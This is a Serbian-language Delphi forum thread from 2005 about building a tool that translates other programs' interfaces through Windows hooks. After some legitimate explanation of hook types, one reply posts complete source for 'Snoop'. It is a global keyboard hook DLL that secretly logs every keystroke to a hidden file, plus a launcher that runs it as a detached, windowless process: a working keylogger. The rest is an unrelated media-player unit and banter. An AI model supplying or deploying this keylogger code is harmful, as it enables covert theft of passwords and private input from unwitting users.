Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

Automatsko prevodjenje aplikacija

[es] :: Pascal / Delphi / Kylix :: Automatsko prevodjenje aplikacija

[ Pregleda: 2916 | Odgovora: 12 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

Vladica Savić
Software Developer
Toronto, Canada

Član broj: 26699
Poruke: 654



+5 Profil

icon Automatsko prevodjenje aplikacija20.09.2005. u 10:00 - pre 226 meseci
Pozdrav ljudi, zanima me kako bi trebalo da funkcionise program koji ce automatski da prevodi aplikacije na maternji jezik koriscenjem nekih zajednickih pojmova.
Video sam program po imenu SIAT na CET-u >nesto kao sistemski interfejs automatskog prevodjenja, ili tako nesto<, pa me zanima da li je neko radio nesto slicno u Delphi-u, i da li uopste moze da se napravi nesto na tom principu...
Pozdrav Vl@d@

 
Odgovor na temu

Vladica Savić
Software Developer
Toronto, Canada

Član broj: 26699
Poruke: 654



+5 Profil

icon Re: Automatsko prevodjenje aplikacija22.09.2005. u 12:50 - pre 226 meseci
Pa ljudi moji, nije valjda da niko nije pokusavao ovako nesto da napravi?
 
Odgovor na temu

broker

Član broj: 2415
Poruke: 8514
212.62.59.*



+11 Profil

icon Re: Automatsko prevodjenje aplikacija22.09.2005. u 12:55 - pre 226 meseci
Moze da se napravi samo zahteva prilcino iskutvo.
 
Odgovor na temu

obucina

Član broj: 38191
Poruke: 723

Jabber: obucina


+7 Profil

icon Re: Automatsko prevodjenje aplikacija22.09.2005. u 22:22 - pre 226 meseci
Jel ti ovo treba?

SmartTranslator helps you translating a delphi project to other languages. In
the first step, it collects all strings in the pascal code and delphi forms
and stores them in a database. After all strings are translated, which can be
done inside SmartTranslator, it can replace all strings of the original language
with the corresponding strings of another language. Strings that appear in
more than one project have to be translated only one time. Once SmartTranslator
knows all necessary strings, you can transfer a project to another language
within one minunte. In comparasion to other localizing tools, SmartTranslator
stores only the strings of one language in an executable (which produces much
smaller executables) and does not need any changes on your project. There is
also no need to collect strings in stringtable resources.

http://www.jam-software.com
 
Odgovor na temu

Vladica Savić
Software Developer
Toronto, Canada

Član broj: 26699
Poruke: 654



+5 Profil

icon Re: Automatsko prevodjenje aplikacija23.09.2005. u 08:49 - pre 226 meseci
Nisam mislio na prevodjenje mog programa, vec da mojim programom prevodim druge aplikacije...
Kao sto to radi i SIAT
Nadam se da ste me razumeli...
 
Odgovor na temu

Srki_82
Srdjan Tot
Me @ My Home
Ljubljana

Član broj: 28226
Poruke: 1403
82.208.201.*

ICQ: 246436949


+10 Profil

icon Re: Automatsko prevodjenje aplikacija23.09.2005. u 10:21 - pre 226 meseci
Jedini nacin da se tako nesto uradi je da hook-ujes taj program koji zelis da prevedes i da prilikom kreiranja prozora ili menija menjas nazive tih objekata, ali ne znam koliko je to pametno jer dosta programa trazi objekte na osnovu imena pa ce program posle prevodjenja biti neupotrebljiv ili ce se ponasati kako ne bi trebalo. Programi koji koriste skinove ili slicno za prikaz svojih komponenti (BMP slike, run-time generisane slike...) nece moci na ovaj nacin da se prevedu jer one ne koriste naziv komponenti za iscrtavanje texta nego vec predefinisanu sliku.
Nije bas jednostavan posao kako se na pocetku cini.
 
Odgovor na temu

Vladica Savić
Software Developer
Toronto, Canada

Član broj: 26699
Poruke: 654



+5 Profil

icon Re: Automatsko prevodjenje aplikacija23.09.2005. u 11:26 - pre 226 meseci
Detaljnije bi bilo kako?
 
Odgovor na temu

Srki_82
Srdjan Tot
Me @ My Home
Ljubljana

Član broj: 28226
Poruke: 1403
82.208.201.*

ICQ: 246436949


+10 Profil

icon Re: Automatsko prevodjenje aplikacija23.09.2005. u 11:44 - pre 226 meseci
Sa SetWindowsHookEx postavljas hook. Hook ti mora biti u nekom dll-u jer ce se povezivati na druge programe. Koristi WH_CBT hook za presretanje kreiranja novih prozora (dugme, edit, panel, list i slicno) i tu samo promenis ime kontrole (kad vidis "Cancel" ti postavi "Otkazi" i slicno). Sa WH_CALLWNDPROC(RET) hook-om mozes da presreces ostale poruke (ubacivanje menija, promena texta kontroli i slicno) pa da i na njih regujes. WH_CALLWNDPROC se poziva pre nego sto se poruka prosledi prozoru, a WH_CALLWNDPROCRET tek kada prozor obradi poruku.
 
Odgovor na temu

Vladica Savić
Software Developer
Toronto, Canada

Član broj: 26699
Poruke: 654



+5 Profil

icon Re: Automatsko prevodjenje aplikacija24.09.2005. u 08:59 - pre 226 meseci
Moze mali primercic jer do sad nisam radio nista sa hook-om
 
Odgovor na temu

Passwd

Član broj: 54624
Poruke: 640
*.block.alestra.net.mx.



Profil

icon Re: Automatsko prevodjenje aplikacija24.09.2005. u 10:15 - pre 226 meseci
za hook:

Code:


program Snoop;
uses Windows;
{$R *.RES}

var
   Hook : HHOOK;
   DllInstance : DWORD;
   HookProc : FARPROC;

Begin
   DllInstance := LoadLibrary('SNOOPDLL');
   HookProc := GetProcAddress(DllInstance, 'HookProcedure');
   Hook := SetWindowsHookEx(WH_KEYBOARD, HookProc, DllInstance, 0);
   Sleep(INFINITE);
   UnhookWindowsHookEx(Hook);
   FreeLibrary(DllInstance);
end.




Code:

uses Windows;
{$R *.RES}


const ProgramName = 'C:\SNOOP.EXE';
var
   StartupInfo : TStartupInfo;
   ProcessInformation : TProcessInformation;
Begin
   GetStartupInfo(StartupInfo);
   CreateProcess(ProgramName,Nil,Nil,Nil,False,DETACHED_PROCESS,
                 Nil,Nil,StartupInfo,
   ProcessInformation);
end.




Code:

library snoopdll;

uses Windows;
Procedure HookProcedure(nCode: Integer; wParam: WPARAM;
                        lParam: LPARAM); stdcall;
var 
   LogFile : THandle;
   BytesWritten : DWORD;
   Ch : Byte;
begin
   if ((HiWord(lParam) and KF_UP) <> 0) and 
       (nCode = HC_ACTION) then
   begin
      LogFile := CreateFile('c:\x.x', GENERIC_WRITE, 
                                      FILE_SHARE_READ, Nil,
                                      OPEN_ALWAYS, 0, 0);
      SetFilePointer(LogFile, 0, Nil, FILE_END);
      WriteFile (LogFile, wParam, 1, BytesWritten, Nil);
      if Lo(wParam) = 13 then
      begin
         Ch := 10;
         WriteFile (LogFile, Ch, 1, BytesWritten, Nil);
      end;
      CloseHandle(LogFile);
   end;
   CallNextHookEx(0, nCode, wParam, lParam);
end;

exports HookProcedure;
end.





naravno, imas DLL, i program koji ce ucitat taj DLL u sve aktivne programe, te program koji ce drzati DLL u memoriji ukoliko niti jedan program nije aktivan...



a za player sto si me trazio, evo glavnog koda:

Code:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, MPlayer, ExtCtrls, ComCtrls, Menus, MMSystem;

type
  TForm1 = class(TForm)
    MediaPlayer1: TMediaPlayer;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    OpenDialog1: TOpenDialog;
    TrackBar1: TTrackBar;
    Timer1: TTimer;
    MainMenu1: TMainMenu;
    File1: TMenuItem;
    Open1: TMenuItem;
    Exit1: TMenuItem;
    Button5: TButton;
    Help1: TMenuItem;
    About1: TMenuItem;
    Label1: TLabel;
    Label2: TLabel;
    TrackBar2: TTrackBar;
    CheckBox1: TCheckBox;
    StaticText1: TStaticText;
    Button6: TButton;
    Button7: TButton;
    Image1: TImage;
    Timer2: TTimer;
    ListBox1: TListBox;
    Button8: TButton;
    Button9: TButton;
    Button10: TButton;
    procedure ListBox1DblClick(Sender: TObject);
    procedure Button10Click(Sender: TObject);
    procedure Button9Click(Sender: TObject);
    procedure Button8Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure ListBox1Click(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure Button7Click(Sender: TObject);
    procedure MediaPlayer1Notify(Sender: TObject);
    procedure TrackBar2Change(Sender: TObject);
    procedure About1Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Open1Click(Sender: TObject);
    procedure Exit1Click(Sender: TObject);
    procedure TrackBar1Change(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    B:TBitmap;
  end;

var
  Form1: TForm1;
  Zvuk: String;
  pjesma:string;



implementation

uses Unit2, Unit3;

{$R *.dfm}
 type
  TGlasnoca = record
    Levi, Desni: Word;
  end;


procedure TForm1.Button1Click(Sender: TObject);
begin
MediaPlayer1.Close;
MediaPlayer1.FileName := Pjesma ;
MediaPlayer1.Open;
MediaPlayer1.Play;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
 MediaPlayer1.Pause;
end;

procedure TForm1.Button3Click(Sender: TObject);
  var
  Stanje: Boolean;
begin
  Stanje := CheckBox1.Checked;
  CheckBox1.Checked := False;
  MediaPlayer1.Stop;
  CheckBox1.Checked := Stanje;

end;

procedure TForm1.Button4Click(Sender: TObject);
begin
if OpenDialog1.Execute then
ListBox1.Items.Add(OpenDialog1.FileName);
end;

procedure TForm1.FormCreate(Sender: TObject);
var a:textfile;
begin
try
listbox1.Items.LoadFromFile('lista.lst');
except
assignfile(a,'c:\lista.lst');
rewrite(a);
closefile(a);
end;
Zvuk := '';
B:=TBitmap.Create;
B.Width:=Image1.Width;
B.Height:=Image1.Height;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  TrackBar1.OnChange := nil;
  TrackBar1.Position := MediaPlayer1.Position;
  TrackBar1.OnChange := TrackBar1Change;

  Label1.Caption:=formatdatetime('dd.mm.yyyy', Date);
  Label2.Caption:=formatdatetime('hh.mm.ss', Time);
end;


procedure TForm1.TrackBar1Change(Sender: TObject);

begin
  if (MediaPlayer1.Mode = mpPlaying) or
     (MediaPlayer1.Mode = mpPaused) then
  begin
    MediaPlayer1.Position := TrackBar1.Position;
    MediaPlayer1.Play;
  end;

end;





procedure TForm1.Exit1Click(Sender: TObject);
begin
close;
end;

procedure TForm1.Open1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
ListBox1.Items.Add(OpenDialog1.FileName);
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
showmessage('Thank you for using my software.Coded by Passwd!!');
close;
end;


procedure TForm1.About1Click(Sender: TObject);
begin
Form2.ShowModal;
end;

procedure TForm1.TrackBar2Change(Sender: TObject);
var
  G: TGlasnoca;
begin
  G.Levi := TrackBar2.Position;
  G.Desni := TrackBar2.Position;
  waveOutSetVolume(0, Cardinal(G));

end;

procedure TForm1.MediaPlayer1Notify(Sender: TObject);
begin
if (MediaPlayer1.Mode = mpStopped) and
     CheckBox1.Checked then
begin
    MediaPlayer1.Rewind;
    MediaPlayer1.Play;
  end;
end;

procedure TForm1.Button7Click(Sender: TObject);
begin
Form1.Height:=225;
end;

procedure TForm1.Button6Click(Sender: TObject);
begin
Form1.Height:=534;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
B.Canvas.ellipse(Random(B.Width), Random(B.Height),
Random(B.Width), Random(B.Height));
B.Canvas.rectangle(Random(B.Width), Random(B.Height),
Random(B.Width), Random(B.Height));

Image1.Picture.Bitmap := B;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
B.Free;
end;

procedure TForm1.ListBox1Click(Sender: TObject);
begin
if ListBox1.ItemIndex <> -1 then
 pjesma:=ListBox1.Items[ListBox1.ItemIndex];
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
listbox1.Items.SaveToFile('c:\lista.lst');
end;

procedure TForm1.Button8Click(Sender: TObject);
begin
mediaPlayer1.Close;
form3.showmodal;

end;

procedure TForm1.Button9Click(Sender: TObject);
begin
Listbox1.DeleteSelected;
end;

procedure TForm1.Button10Click(Sender: TObject);
begin
listbox1.Clear;
end;

procedure TForm1.ListBox1DblClick(Sender: TObject);
begin
MediaPlayer1.Close;
MediaPlayer1.FileName:=pjesma;
MediaPlayer1.Open;
MediaPlayer1.Play;
end;

end.
 
Odgovor na temu

Bojan Kopanja
Bojan Kopanja
Senior Web Developer, ZeusSoftware
Stara Pazova

Član broj: 6155
Poruke: 507
80.93.238.*

ICQ: 346697685
Sajt: www.zeussoftware.rs


Profil

icon Re: Automatsko prevodjenje aplikacija24.09.2005. u 22:36 - pre 226 meseci
[Offtopic]A zasto se program zove Snoop :D?[/Offtopic]
 
Odgovor na temu

Passwd

Član broj: 54624
Poruke: 640
*.block.alestra.net.mx.



Profil

icon Re: Automatsko prevodjenje aplikacija25.09.2005. u 09:39 - pre 226 meseci
Bolje Snoop nego ntldr


poz
 
Odgovor na temu

Vladica Savić
Software Developer
Toronto, Canada

Član broj: 26699
Poruke: 654



+5 Profil

icon Re: Automatsko prevodjenje aplikacija25.09.2005. u 11:10 - pre 226 meseci
Bolje
Citat:
Passwd: Bolje Snoop nego ntldr


Pa sto jes jes...
 
Odgovor na temu

[es] :: Pascal / Delphi / Kylix :: Automatsko prevodjenje aplikacija

[ Pregleda: 2916 | Odgovora: 12 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.